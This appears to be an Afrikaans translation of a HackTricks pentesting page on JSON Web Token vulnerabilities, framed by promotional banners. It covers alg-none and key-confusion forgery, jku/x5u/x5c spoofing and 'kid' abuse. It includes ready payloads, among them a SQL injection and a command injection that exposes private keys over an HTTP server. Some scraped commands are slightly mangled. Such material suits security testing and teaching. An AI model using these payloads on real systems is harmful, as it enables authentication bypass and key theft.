18 KiB
JWT Kwesbaarhede (Json Web Tokens)
Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling van eksklusiewe NFTs
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
As jy belangstel in 'n hakloopbaan en die onhackbare wil hack - ons is aan die werf! (vloeiende Pools geskrewe en gesproke vereis).
{% embed url="https://www.stmcyber.com/careers" %}
'n Deel van hierdie pos is gebaseer op die wonderlike pos: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Outeur van die wonderlike instrument om JWTs te pentest https://github.com/ticarpi/jwt_tool
Vinnige Wenke
Hardloop jwt_tool met die modus Alle Toetse!
en wag vir groen lyne
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Indien jy gelukkig is, sal die instrument 'n geval vind waar die webtoepassing die JWT verkeerd kontroleer:
Daarna kan jy die versoek in jou proksi soek of die gebruikte JWT vir daardie versoek dump met jwt_ tool:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Gebruik ook die Burp-uitbreiding SignSaboteur om JWT-aanvalle vanuit Burp te lanceer.
Verander data sonder om iets te wysig
Jy kan net met die data mors sonder om die handtekening te verander en kyk of die bediener die handtekening nagaan. Probeer byvoorbeeld jou gebruikersnaam na "admin" verander.
Word die token nagegaan?
Om te kyk of 'n JWT se handtekening geverifieer word:
- 'n Foutboodskap dui op aanhoudende verifikasie; sensitiewe besonderhede in oordrewe foute moet nagegaan word.
- 'n Verandering in die teruggekeerde bladsy dui ook op verifikasie.
- Geen verandering dui op geen verifikasie nie; dit is wanneer jy moet eksperimenteer met die mors van payload-aansprake.
Oorsprong
Dit is belangrik om vas te stel of die token serverkant of kliëntkant gegenereer is deur die geskiedenis van die proksi se versoek te ondersoek.
- Tokens wat eerste gesien word van die kliëntkant af dui daarop dat die sleutel blootgestel kan word aan kliëntkant-kode, wat verdere ondersoek noodsaaklik maak.
- Tokens wat van die kant van die bediener afkomstig is, dui op 'n veilige proses.
Duur
Kyk of die token langer as 24 uur hou... miskien verval dit nooit nie. As daar 'n "exp"-veld is, kyk of die bediener dit korrek hanteer.
Brute-krag HMAC-geheim
Verander die algoritme na None
Stel die gebruikte algoritme in as "None" en verwyder die handtekeninggedeelte.
Gebruik die Burp-uitbreiding "JSON Web Token" om hierdie kwesbaarheid te probeer en om verskillende waardes binne die JWT te verander (stuur die versoek na Repeater en in die "JSON Web Token"-oortjie kan jy die waardes van die token wysig. Jy kan ook kies om die waarde van die "Alg"-veld na "None" te stel).
Verander die algoritme RS256(asimmetries) na HS256(simetries) (CVE-2016-5431/CVE-2016-10555)
Die algoritme HS256 gebruik die geheime sleutel om elke boodskap te teken en te verifieer.
Die algoritme RS256 gebruik die privaatsleutel om die boodskap te teken en gebruik die openbare sleutel vir verifikasie.
As jy die algoritme van RS256 na HS256 verander, gebruik die agterkant-kode die openbare sleutel as die geheime sleutel en gebruik dan die HS256-algoritme om die handtekening te verifieer.
Daarna, deur die openbare sleutel te gebruik en RS256 na HS256 te verander, kan ons 'n geldige handtekening skep. Jy kan die sertifikaat van die webbediener ophaal deur dit uit te voer:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Nuwe openbare sleutel binne die kop
'n Aanvaller sluit 'n nuwe sleutel in die kop van die token in en die bediener gebruik hierdie nuwe sleutel om die handtekening te verifieer (CVE-2018-0114).
Dit kan gedoen word met die "JSON Web Tokens" Burp-uitbreiding.
(Stuur die versoek na die Herhaler, kies "CVE-2018-0114" in die JSON Web Token-tabblad en stuur die versoek).
JWKS Spoofing
Die instruksies beskryf 'n metode om die sekuriteit van JWT-tokens te assesseer, veral dié wat 'n "jku" kop-aanspraak gebruik. Hierdie aanspraak behoort te skakel na 'n JWKS (JSON Web Key Set) lêer wat die openbare sleutel bevat wat nodig is vir die token se verifikasie.
- Assessering van Tokens met "jku" Kop:
- Verifieer die URL van die "jku" aanspraak om te verseker dat dit lei na die toepaslike JWKS-lêer.
- Wysig die "jku" waarde van die token om te verwys na 'n beheerde webdiens, wat verkeerswaarneming moontlik maak.
- Monitering vir HTTP-interaksie:
- Die waarneming van HTTP-versoeke na jou gespesifiseerde URL dui aan dat die bediener poog om sleutels van jou voorsiene skakel te haal.
- Wanneer jy
jwt_tool
vir hierdie proses gebruik, is dit noodsaaklik om diejwtconf.ini
lêer met jou persoonlike JWKS-plek op te dateer om die toetsing te fasiliteer. - Opdrag vir
jwt_tool
: - Voer die volgende opdrag uit om die scenario met
jwt_tool
te simuleer:
python3 jwt_tool.py JWT_HIER -X s
Kid Probleme Oorsig
'n Opsionele kop-aanspraak bekend as kid
word gebruik om 'n spesifieke sleutel te identifiseer, wat veral belangrik word in omgewings waar daar verskeie sleutels vir token-handtekeningverifikasie bestaan. Hierdie aanspraak help om die toepaslike sleutel te kies om 'n token se handtekening te verifieer.
Blootstelling van Sleutel deur "kid"
Wanneer die kid
aanspraak teenwoordig is in die kop, word dit aanbeveel om die webgids te deursoek vir die ooreenstemmende lêer of sy variasies. Byvoorbeeld, as "kid":"sleutel/12345"
gespesifiseer word, moet die lêers /sleutel/12345 en /sleutel/12345.pem in die web-wortel gesoek word.
Padtraversering met "kid"
Die kid
aanspraak kan ook uitgebuit word om deur die lêerstelsel te navigeer, wat moontlik die keuse van 'n willekeurige lêer toelaat. Dit is moontlik om vir konnektiwiteit te toets of Server-Side Request Forgery (SSRF) aanvalle uit te voer deur die kid
waarde te verander om spesifieke lêers of dienste te teiken. Die manipulasie van die JWT om die kid
waarde te verander terwyl die oorspronklike handtekening behoue bly, kan bereik word deur die -T
vlag in jwt_tool te gebruik, soos hieronder gedemonstreer:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
By teikenlêers met voorspelbare inhoud te teiken, is dit moontlik om 'n geldige JWT te vervals. Byvoorbeeld, die /proc/sys/kernel/randomize_va_space
lêer in Linux-stelsels, wat bekend is om die waarde 2 te bevat, kan gebruik word in die kid
parameter met 2 as die simmetriese wagwoord vir JWT-generering.
SQL-injeksie via "kid"
As die inhoud van die kid
bewering gebruik word om 'n wagwoord uit 'n databasis te haal, kan 'n SQL-injeksie gefasiliteer word deur die kid
lading te wysig. 'n Voorbeeldlading wat SQL-injeksie gebruik om die JWT-ondertekeningsproses te wysig, sluit in:
non-bestaande-indeks' UNION SELECT 'AANVALLER';-- -
Hierdie wysiging dwing die gebruik van 'n bekende geheime sleutel, AANVALLER
, vir JWT-ondertekening.
BS-injeksie deur "kid"
'n Scenario waar die kid
parameter 'n lêerpad spesifiseer wat binne 'n beveluitvoerkonteks gebruik word, kan lei tot Remote Code Execution (RCE) kwesbaarhede. Deur bevele in die kid
parameter in te spuit, is dit moontlik om private sleutels bloot te stel. 'n Voorbeeldlading om RCE en sleutelblootstelling te bereik is:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u en jku
jku
jku staan vir JWK Set URL.
As die token 'n "jku" Header bewering gebruik, moet jy die verskafte URL ondersoek. Dit behoort te wys na 'n URL wat die JWKS-lêer bevat wat die Openbare Sleutel vir die verifikasie van die token bevat. Manipuleer die token om die jku-waarde na 'n webdiens te wys waar jy verkeer kan monitor.
Eerstens moet jy 'n nuwe sertifikaat skep met nuwe privaat- en openbare sleutels
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Dan kan jy byvoorbeeld jwt.io gebruik om die nuwe JWT te skep met die geskepte openbare en private sleutels en deur die parameter jku na die geskepte sertifikaat te verwys. Om 'n geldige jku-sertifikaat te skep, kan jy die oorspronklike een aflaai en die nodige parameters verander.
Jy kan die parameters "e" en "n" van 'n openbare sertifikaat verkry deur:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL. 'n URI wat na 'n stel X.509 ( 'n sertifikaat-formaatstandaard) openbare sertifikate wat in PEM-vorm gekodeer is, wys. Die eerste sertifikaat in die stel moet die een wees wat gebruik is om hierdie JWT te onderteken. Die opeenvolgende sertifikate onderteken elk die vorige een, wat dus die sertifikaatketting voltooi. X.509 word gedefinieer in RFC 52807 . Vervoersekuriteit is nodig om die sertifikate oor te dra.
Probeer om hierdie kopnaam na 'n URL onder jou beheer te verander en kyk of enige versoek ontvang word. In daardie geval kan jy die JWT vervals.
Om 'n nuwe token te vervals deur 'n sertifikaat wat deur jou beheer word te gebruik, moet jy die sertifikaat skep en die openbare en private sleutels onttrek:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Dan kan jy byvoorbeeld jwt.io gebruik om die nuwe JWT te skep met die geskepte openbare en private sleutels en deur die parameter x5u na die sertifikaat .crt te verwys wat geskep is.
Jy kan ook beide van hierdie kwesbaarhede misbruik vir SSRFs.
x5c
Hierdie parameter kan die sertifikaat in base64-formaat bevat:
Indien die aanvaller 'n self-ondertekende sertifikaat genereer en 'n vervalsde token skep deur die ooreenstemmende private sleutel te gebruik en die waarde van die "x5c" parameter te vervang met die nuut gegenereerde sertifikaat en die ander parameters aanpas, naamlik n, e en x5t, sal die vervalsde token in wese deur die bediener aanvaar word.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Ingeslote Openbare Sleutel (CVE-2018-0114)
Indien die JWT 'n ingeslote openbare sleutel het soos in die volgende scenario:
Deur die volgende nodejs-skrip te gebruik, is dit moontlik om 'n openbare sleutel van daardie data te genereer:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Dit is moontlik om 'n nuwe privaat/publieke sleutel te genereer, die nuwe publieke sleutel binne die token in te sluit en dit te gebruik om 'n nuwe handtekening te genereer:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Jy kan die "n" en "e" verkry deur hierdie Node.js skripsie te gebruik:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
ES256: Openbaarmaking van die privaatsleutel met dieselfde nonce
As sommige toepassings ES256 gebruik en dieselfde nonce gebruik om twee jwts te genereer, kan die privaatsleutel herstel word.
Hier is 'n voorbeeld: ECDSA: Openbaarmaking van die privaatsleutel, indien dieselfde nonce gebruik word (met SECP256k1)
JTI (JWT ID)
Die JTI (JWT ID) eis bied 'n unieke identifiseerder vir 'n JWT-token. Dit kan gebruik word om te voorkom dat die token herhaal word.
Stel jou voor, 'n situasie waar die maksimum lengte van die ID 4 is (0001-9999). Die versoek 0001 en 10001 gaan dieselfde ID gebruik. Dus, as die agterkant die ID verhoog met elke versoek, kan jy hierdie misbruik om 'n versoek te herhaal (jy moet 10000 versoek stuur tussen elke suksesvolle herhaling).
JWT Geregistreerde eise
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
Ander aanvalle
Kruisdiens-relay-aanvalle
Dit is waargeneem dat sommige webtoepassings staatmaak op 'n vertroude JWT-diens vir die generering en bestuur van hul tokens. Gevalle is aangeteken waar 'n token, gegenereer vir een klient deur die JWT-diens, aanvaar is deur 'n ander klient van dieselfde JWT-diens. As die uitreiking of hernuwing van 'n JWT via 'n derdepartydiens waargeneem word, moet die moontlikheid om vir 'n rekening aan te meld op 'n ander klient van daardie diens met dieselfde gebruikersnaam/e-pos ondersoek word. 'n Poging moet dan aangewend word om die verkryde token in 'n versoek na die teiken te herhaal om te sien of dit aanvaar word.
- 'n Kritieke kwessie kan aangedui word deur die aanvaarding van jou token, wat moontlik die vervalsing van enige gebruiker se rekening kan toelaat. Dit moet egter opgemerk word dat toestemming vir wyer toetsing nodig kan wees as jy aanmeld by 'n derdepartytoepassing, aangesien dit 'n regsgrys gebied kan betree.
Vervaltoets van tokens
Die verval van die token word nagegaan deur die "exp" Lading eis. Gegewe dat JWT's dikwels sonder sessie-inligting gebruik word, is sorgvuldige hantering vereis. In baie gevalle kan die vaslegging en herhaling van 'n ander gebruiker se JWT die persoonifikasie van daardie gebruiker moontlik maak. Die JWT RFC beveel aan om JWT-herhaalaanvalle te versag deur die "exp" eis te gebruik om 'n vervaltyd vir die token in te stel. Verder is die implementering van relevante kontroles deur die aansoek om te verseker dat die verwerking van hierdie waarde en die verwerping van verstreke tokens wat verval het, noodsaaklik is. As die token 'n "exp" eis insluit en toetstydlimiete dit toelaat, word dit aanbeveel om die token te stoor en dit na die vervaltyd te herhaal. Die inhoud van die token, insluitend tydstempelontleding en vervaltoetsing (tydstempel in UTC), kan gelees word deur die jwt_tool se -R vlag te gebruik.
- 'n Sekuriteitsrisiko kan teenwoordig wees as die aansoek nog steeds die token valideer, aangesien dit kan impliseer dat die token nooit kan verval nie.
Gereedskap
{% embed url="https://github.com/ticarpi/jwt_tool" %}
As jy belangstel in 'n hakerloopbaan en die onhackbare wil hack - ons is aan die werf! (vloeiend Pools geskrewe en gesproke vereis).
{% embed url="https://www.stmcyber.com/careers" %}
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hakerstruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.